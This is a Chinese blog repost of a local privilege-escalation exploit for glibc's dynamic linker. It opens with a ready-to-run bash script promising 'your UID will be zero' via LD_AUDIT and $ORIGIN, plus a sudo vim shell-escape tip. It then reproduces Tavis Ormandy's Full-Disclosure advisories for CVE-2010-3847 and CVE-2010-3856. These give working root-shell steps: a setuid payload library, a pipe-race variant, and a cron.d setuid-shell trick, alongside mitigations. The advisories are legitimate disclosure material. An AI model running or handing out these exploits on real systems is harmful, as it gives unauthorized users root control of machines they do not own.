且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

GCC编译漏洞_普通用户提权root

更新时间:2022-02-14 06:55:59

#!/bin/bash
#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#writer:ColinTao
#function: YOUR UID WILL BE ZERO!JUST EXEC IT!
#MAIL: linuxtaolinran@gmail.com
#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< 
#  You should login the Server as a normal user,like user1, 
#+then execute this shell script, your UID will become 0.
#+In other words, you will become a Root!
cd /tmp/                              
mkdir exploit
ln /bin/ping /tmp/exploit/target        
exec 3< /tmp/exploit/target           
rm -rf /tmp/exploit/
cat >payload.c <<EOF
void __attribute__((constructor)) init()
{
 setuid(0);                                                     ///设置 uid 为 0
 system("/bin/bash");
}
EOF
gcc -w -fPIC -shared -o /tmp/exploit payload.c                       
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3                                        ///这之后,马上普通用户变成了root!

#预防的手段: shell>mount -o bind,nosuid /tmp/ /tmp                    /// linux_mint好像是这么防的!
#Notice: 红帽子6以及更高的版本这个漏洞已修复了..

 shell>exec 3 < /bin/ping         ---->系统马上自动退出终端,而且history命令行历史记录里面也加密了!


//另外,vim 在sudo user里的话,可以直接sudo vim (如果可以sudo的话)进去,然后 :!bash,即可提权ROOT.


The GNU C library dynamic linker expands $ORIGIN in setuid library search path

From: Tavis Ormandy <taviso () cmpxchg8b com>
Date: Mon, 18 Oct 2010 12:17:25 +0200


The GNU C library dynamic linker expands $ORIGIN in setuid library search path
------------------------------------------------------------------------------

Gruezi, This is CVE-2010-3847.

The dynamic linker (or dynamic loader) is responsible for the runtime linking of
dynamically linked programs. ld.so operates in two security modes, a permissive
mode that allows a high degree of control over the load operation, and a secure
mode (libc_enable_secure) intended to prevent users from interfering with the
loading of privileged executables.

$ORIGIN is an ELF substitution sequence representing the location of the
executable being loaded in the filesystem hierarchy. The intention is to allow
executables to specify a search path for libraries that is relative to their
location, to simplify packaging without spamming the standard search paths with
single-use libraries.

Note that despite the confusing naming convention, $ORIGIN is specified in a
DT_RPATH or DT_RUNPATH dynamic tag inside the executable itself, not via the
environment (developers would normally use the -rpath ld parameter, or
-Wl,-rpath,$ORIGIN via the compiler driver).

The ELF specification suggests that $ORIGIN be ignored for SUID and SGID
binaries,

http://web.archive.org/web/20041026003725/http://www.caldera.com/developers/gabi/2003-12-17/ch5.dynamic.html#substitution

"For security, the dynamic linker does not allow use of $ORIGIN substitution
 sequences for set-user and set-group ID programs. For such sequences that
 appear within strings specified by DT_RUNPATH dynamic array entries, the
 specific search path containing the $ORIGIN sequence is ignored (though other
 search paths in the same string are processed). $ORIGIN sequences within a
 DT_NEEDED entry or path passed as a parameter to dlopen() are treated as
 errors. The same restrictions may be applied to processes that have more than
 minimal privileges on systems with installed extended security mechanisms."

However, glibc ignores this recommendation. The attack the ELF designers were
likely concerned about is users creating hardlinks to suid executables in
directories they control and then executing them, thus controlling the
expansion of $ORIGIN.

It is tough to form a thorough complaint about this glibc behaviour however,
as any developer who believes they're smart enough to safely create suid
programs should be smart enough to understand the implications of $ORIGIN
and hard links on load behaviour. The glibc maintainers are some of the
smartest guys in free software, and well known for having a "no hand-holding"
stance on various issues, so I suspect they wanted a better argument than this
for modifying the behaviour (I pointed it out a few years ago, but there was
little interest).

However, I have now discovered a way to exploit this. The origin expansion
mechanism is recycled for use in LD_AUDIT support, although an attempt is made
to prevent it from working, it is insufficient.

LD_AUDIT is intended for use with the linker auditing api (see the rtld-audit
manual), and has the usual restrictions for setuid programs as LD_PRELOAD does.
However, $ORIGIN expansion is only prevented if it is not used in isolation.

The codepath that triggers this expansion is

    _dl_init_paths() -> _dl_dst_substitute() -> _is_dst()

(in the code below DST is dynamic string token)

http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l741

 741       /* Expand DSTs.  */
 742       size_t cnt = DL_DST_COUNT (llp, 1);
 743       if (__builtin_expect (cnt == 0, 1))
 744         llp_tmp = strdupa (llp);
 745       else
 746         {
 747           /* Determine the length of the substituted string.  */
 748           size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
 749
 750           /* Allocate the necessary memory.  */
 751           llp_tmp = (char *) alloca (total + 1);
 752           llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
 753         }

http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l245

 253       if (__builtin_expect (*name == '$', 0))
 254         {
 255           const char *repl = NULL;
 256           size_t len;
 257
 258           ++name;
 259           if ((len = is_dst (start, name, "ORIGIN", is_path,
 260                              INTUSE(__libc_enable_secure))) != 0)
 261             {
    ...
 267                 repl = l->l_origin;
 268             }

http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l171


 202   if (__builtin_expect (secure, 0)
 203       && ((name[len] != '\0' && (!is_path || name[len] != ':'))
 204           || (name != start + 1 && (!is_path || name[-2] != ':'))))
 205     return 0;
 206
 207   return len;
 208 }

As you can see, $ORIGIN is only expanded if it is alone and first in the path.
This makes little sense, and does not appear to be useful even if there were
no security impact. This was most likely the result of an attempt to re-use the
existing DT_NEEDED resolution infrastructure for LD_AUDIT support, accidentally
introducing this error.

Perhaps surprisingly, this error is exploitable.

--------------------
Affected Software
------------------------

At least the following versions have been tested

    2.12.1, FC13
    2.5, RHEL5 / CentOS5

Other versions are probably affected, possibly via different vectors. I'm aware
several versions of ld.so in common use hit an assertion in dl_open_worker, I
do not know if it's possible to avoid this.

--------------------
Consequences
-----------------------

It is possible to exploit this flaw to execute arbitrary code as root.

Please note, this is a low impact vulnerability that is only of interest to
security professionals and system administrators. End users do not need
to be concerned.

Exploitation would look like the following.

# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit

# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target

# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target

# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

# Remove the directory previously created
$ rm -rf /tmp/exploit/

# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

-------------------
Mitigation
-----------------------

It is a good idea to prevent users from creating files on filesystems mounted
without nosuid. The following interesting solution for administrators who
cannot modify their partitioning scheme was suggested to me by Rob Holland
(@robholland):

You can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid,
for example:

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp

Be aware of race conditions at boot via crond/atd/etc, and users with
references to existing directories (man lsof), but this may be an acceptable
workaround until a patch is ready for deployment.

(Of course you need to do this everywhere untrusted users can make links to
suid/sgid binaries. find(1) is your friend).

If someone wants to create an init script that would automate this at boot for
their distribution, I'm sure it would be appreciated by other administrators.

-------------------
Solution
-----------------------

Major distributions should be releasing updated glibc packages shortly.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,
Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,
and all my other elite friends and colleagues.

Additional greetz to the openwall guys who saw this problem coming years ago.
They continue to avoid hundreds of security vulnerabilities each year thanks to
their insight into systems security.

http://www.openwall.com/owl/

-------------------
Notes
-----------------------

There are several known techniques to exploit dynamic loader bugs for suid
binaries, the fexecve() technique listed in the Consequences section above is a
modern technique, making use of relatively recent Linux kernel features (it was
first suggested to me by Adam Langley while discussing CVE-2009-1894, but I
believe Gabriel Campana came up with the same solution independently).

The classic UNIX technique is a little less elegant, but has the advantage that
read access is not required for the target binary. It is rather common for
administrators to remove read access from suid binaries in order to make
attackers work a little harder, so I will document it here for reference.

The basic idea is to create a pipe(), fill it up with junk (pipes have 2^16
bytes capacity on Linux, see the section on "Pipe Capacity" in pipe(7) from the
Linux Programmers Manual), then dup2() it to stderr. Following the dup2(),
anything written to stderr will block, so you simply execve() and then make the
loader print some error message, allowing you to reliably win any race
condition.

LD_DEBUG has always been a a good candidate for getting error messages on
Linux. The behaviour of LD_DEBUG was modified a few years ago in response to
some minor complaints about information leaks, but it can still be used with a
slight modification (I first learned of this technique from a bugtraq posting
by Jim Paris in 2004, http://seclists.org/bugtraq/2004/Aug/281).

The exploit flow for this alternative attack is a little more complicated, but
we can still use the shell to do it (this session is from an FC13 system,
output cleaned up for clarity).

# Almost fill up a pipe with junk, then dup2() it to stderr using redirection.
$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) &
[1] 26926

# Now ld.so is blocked on write() in the background trying to say "invalid
# debug option", so we are free to manipulate the filesystem.
$ rm -rf /tmp/exploit/

# Put exploit payload in place.
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

# Clear the pipe by killing sleep, letting cat drain the contents. This will
# unblock the target, allowing it to continue.
$ pkill -n -t $(tty | sed 's#/dev/##') sleep
-bash: line 99: 26929 Terminated          sleep 1h

# And now we can take control of a root shell :-)
$ fg
sh-4.1# id
uid=0(root) gid=500(taviso)

Another technique I'm aware of is setting a ridiculous LD_HWCAP_MASK, then
while the loader is trying to map lots of memory, you have a good chance of
winning any race. I previously found an integer overflow in this feature and
suggested adding LD_HWCAP_MASK to the unsecure vars list, however the glibc
maintainers disagreed and just fixed the overflow.

http://www.cygwin.com/ml/libc-hacker/2007-07/msg00001.html

I believe this is still a good idea, and LD_HWCAP_MASK is where I would bet the
next big loader bug is going to be, it's just not safe to let attackers have
that much control over the execution environment of privileged programs.

Finally, some notes on ELF security for newcomers. The following common
conditions are usually exploitable:

    - An empty DT_RPATH, i.e. -Wl,-rpath,""
      This is a surprisingly common build error, due to variable expansion
      failing during the build process.
    - A relative, rather than absolute DT_RPATH.
      For example, -Wl,-rpath,"lib/foo".

I'll leave it as an exercise for the interested reader to explain why. Remember
to also follow DT_NEEDED dependencies, as dependencies can also declare rpaths
for their dependencies, and so on.

-------------------
References
-----------------------

- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.
- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux Programmer's Manual.
- http://man.cx/pipe%287%29, Overview of pipes and FIFOs (Pipe Capacity), Linux Programmer's Manual.
- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.
- Partitioning schemes and security, http://my.opera.com/taviso/blog/show.dml/654574
- CVE-2009-1894 description, http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html

You should subscribe to Linux Weekly News and help support their high standard
of security journalism.

http://lwn.net/

I have a twitter account where I occasionally comment on security topics.

http://twitter.com/taviso

ex$$

-- 
-------------------------------------
taviso () cmpxchg8b com | pgp encrypted mail preferred
-------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

GNU C library dynamic linker LD_AUDIT arbitrary DSO load Vulnerability

from: http://marc.info/?l=full-disclosure&m=128776663124692&w=2
 
The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads
-------------------------------------------------------------------------------
 
Cześć, This advisory describes CVE-2010-3856, an addendum to CVE-2010-3847.
 
Please see http://seclists.org/fulldisclosure/2010/Oct/257 for background
information.
 
For obvious reasons, the dynamic linker will ignore requests to preload user
specified libraries for setuid/setgid programs. However, it is possible to
imagine legitimate use cases for this functionality, so the glibc developers
provide an exception to this rule.
 
 LD_PRELOAD
     A whitespace-separated list of additional, user-specified, ELF
     shared libraries to be loaded before all others. This can be
     used to selectively override functions in other shared
     libraries. For set-user-ID/set-group-ID ELF binaries, only
     libraries in the standard search directories that are also set-
     user-ID will be loaded.
 
In order to be preloaded during the execution of a privileged program, a
library must be setuid and in the trusted library search path. This is a
reasonable design, before a library will be loaded, the system administrator
must brand a library as safe to load across privilege boundaries.
 
This feature allows developers who design their programs to operate safely
while running as setuid to opt-in to doing so. Bizarrely, the same conditions
do not apply to LD_AUDIT, which will load an arbitrary DSO, regardless of
whether it has been designed to operate safely or not.
 
While the dynamic loader will only use a library that exports the dynamic
symbols required by the rtld-auditing API, it must first dlopen() the
library in order to examine the exported symbols. By definition, this must
execute any defined initialization routines.
 
This confusion can be exploited by locating a DSO in the trusted search path with
initialization code that has not been designed to operate safely while euid !=
uid. See the Notes section below for additional discussion on this topic.
 
--------------------
Affected Software
------------------------
 
At least the following versions have been tested
 
    2.12.1, FC13
    2.5, RHEL5 / CentOS5
    2.11.1, Ubuntu 10
 
--------------------
Consequences
-----------------------
 
This is a low impact issue that is only of interest to security
professionals and system administrators, end users do not need to be
concerned.
 
It is possible to exploit this confusion to execute arbitrary code as root.
 
The exact steps required to exploit this vulnerability will vary from
distribution to distribution, but an example from Ubuntu 10.04 is given below.
 
# The creation mask is inherited by children, and survives even a setuid
# execve. Therefore, we can influence how files are created during
# exploitation.
$ umask 0
 
# libpcprofile is distributed with the libc package.
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so
 
# We identified one of the pcprofile constructors is unsafe to run with
# elevated privileges, as it creates the file specified in the output
# environment variable.
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined \
                symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
 
# This results in creating a world writable file in the crontab directory.
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit
 
# Setup a cronjob to give us privileges (of course, there are dozens of other
# ways this could be exploited).
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > \
/etc/cron.d/exploit
 
# Wait a few minutes...
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit
 
# A setuid root shell appears.
$ /tmp/exploit
# whoami
root
 
-------------------
Solution
-----------------------
 
Major distributions should be releasing updated glibc packages shortly.
 
-------------------
Credit
-----------------------
 
This bug was discovered by Tavis Ormandy.
 
Thanks to Ben Hawkes and Julien Tinnes for additional insight, and
their expertise tracking down convincing attack vectors.
 
-------------------
Greetz
-----------------------
 
Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,
Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,
and all my other elite friends and colleagues.
 
Additional greetz to the openwall guys who saw this problem coming years ago.
They continue to avoid hundreds of security vulnerabilities each year thanks to
their insight into systems security.
 
http://www.openwall.com/owl/
 
-------------------
Notes
-----------------------
 
Finding candidate libraries is simple a matter of identifying DSOs that have
declared constructors or other initialization code. There are multiple
locations that initialization code can be declared, but .ctors is a common
example.
 
Using objdump, you can examine the section headers for any .ctors section.
 
$ find /lib /usr/lib -maxdepth 1 -type f -exec objdump --headers --section=.ctors {} \
\;
 
[ The system administrator can add additional trusted search paths by declaring
  them in /etc/ld.so.conf, but /lib and /usr/lib are the default paths. ]
 
If a ctors section has a size greater than 2 * wordsize, constructors have been
declared, and should be checked to see if they do anything interesting. An
empty list is 2 * wordsize bytes because it must still hold the two invalid
function pointers inserted into the list to mark list boundaries (alternatively
you could print the difference between the symbols __CTOR_LIST__ and
__CTOR_END__).
 
http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_17.html#SEC237
 
 "Each list always begins with an ignored function pointer (which may hold 0, -1,
  or a count of the function pointers after it, depending on the environment).
  This is followed by a series of zero or more function pointers to constructors
  (or destructors), followed by a function pointer containing zero."
 
$ objdump --section=.ctors --headers /usr/lib/liblftp-tasks.so.0
 
/usr/lib/liblftp-tasks.so.0:     file format elf32-i386
 
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
 17 .ctors        00000040  00ddafc4  00ddafc4  00071fc4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 
Alternatively,
 
$ gdb -q /usr/lib/liblftp-tasks.so.0
Reading symbols from /usr/lib/liblftp-tasks.so.0...(no debugging symbols \
found)...done. (gdb) symbol-file /usr/lib/debug/usr/lib/liblftp-tasks.so.0.debug
(gdb) p &__CTOR_END__ - &__CTOR_LIST__
$1 = 15
 
This looks like a good candidate with lots of constructors. You can use objdump
or gdb to dump the contents of the list.
 
$ objdump --full-contents --section=.ctors /usr/lib/liblftp-tasks.so.0
 
/usr/lib/liblftp-tasks.so.0:     file format elf32-i386
 
Contents of section .ctors:
 ddafc4 ffffffff 205fd800 e068d800 d07ad800  .... _...h...z..
 ddafd4 608ad800 6067d900 7079d900 b0b3d900  `...`g..py......
 ddafe4 d004da00 a037da00 403bda00 3061da00  .....7..@;..0a..
 ddaff4 9062da00 90aada00 20ebdb00 00000000  .b...... .......
 
Notice the ffffffff at the start of the list, and 00000000 terminating it. The
other entries are function pointers, stored in native byteorder.
 
Examining the source code reveals it will mkdir(getenv("LFTP_HOME"), 0755) in
the constructors for the Bookmark and History classes, so we can use this to
create arbitrary directories as root.
 
 40 Bookmark::Bookmark()
 41 {
 42    const char *home = get_lftp_home();
    ...
 47 }
 
Followed by:
 
785 const char *get_lftp_home()
786 {
    ...
792    home = getenv("LFTP_HOME");
    ...
811    mkdir(home, 0755);
812    return home;
813 }
 
Therefore,
 
$ LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME=/etc/exploit ping
ERROR: ld.so: object 'liblftp-tasks.so.0' cannot be loaded as audit interface: \
                undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
$ ls -ld /etc/exploit
drwxr-x---. 2 root taviso 4.0K Oct 22 01:18 /etc/exploit/
 
And so on, repeat for all accessible DSOs. The ELF standards document
initialization and termination here
 
http://web.archive.org/web/20041026003725/www.caldera.com/developers/gabi/2003-12-17/c \
h5.dynamic.html#init_fini
 
-------------------
References
-----------------------
 
- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.
- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux \
                Programmer's Manual.
- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.
 
You should subscribe to Linux Weekly News and help support their high standard
of security journalism.
 
http://lwn.net/
 
I have a twitter account where I occasionally comment on security topics.
 
http://twitter.com/taviso
 
ex$$


http://www.exploit-db.com/exploits/15304/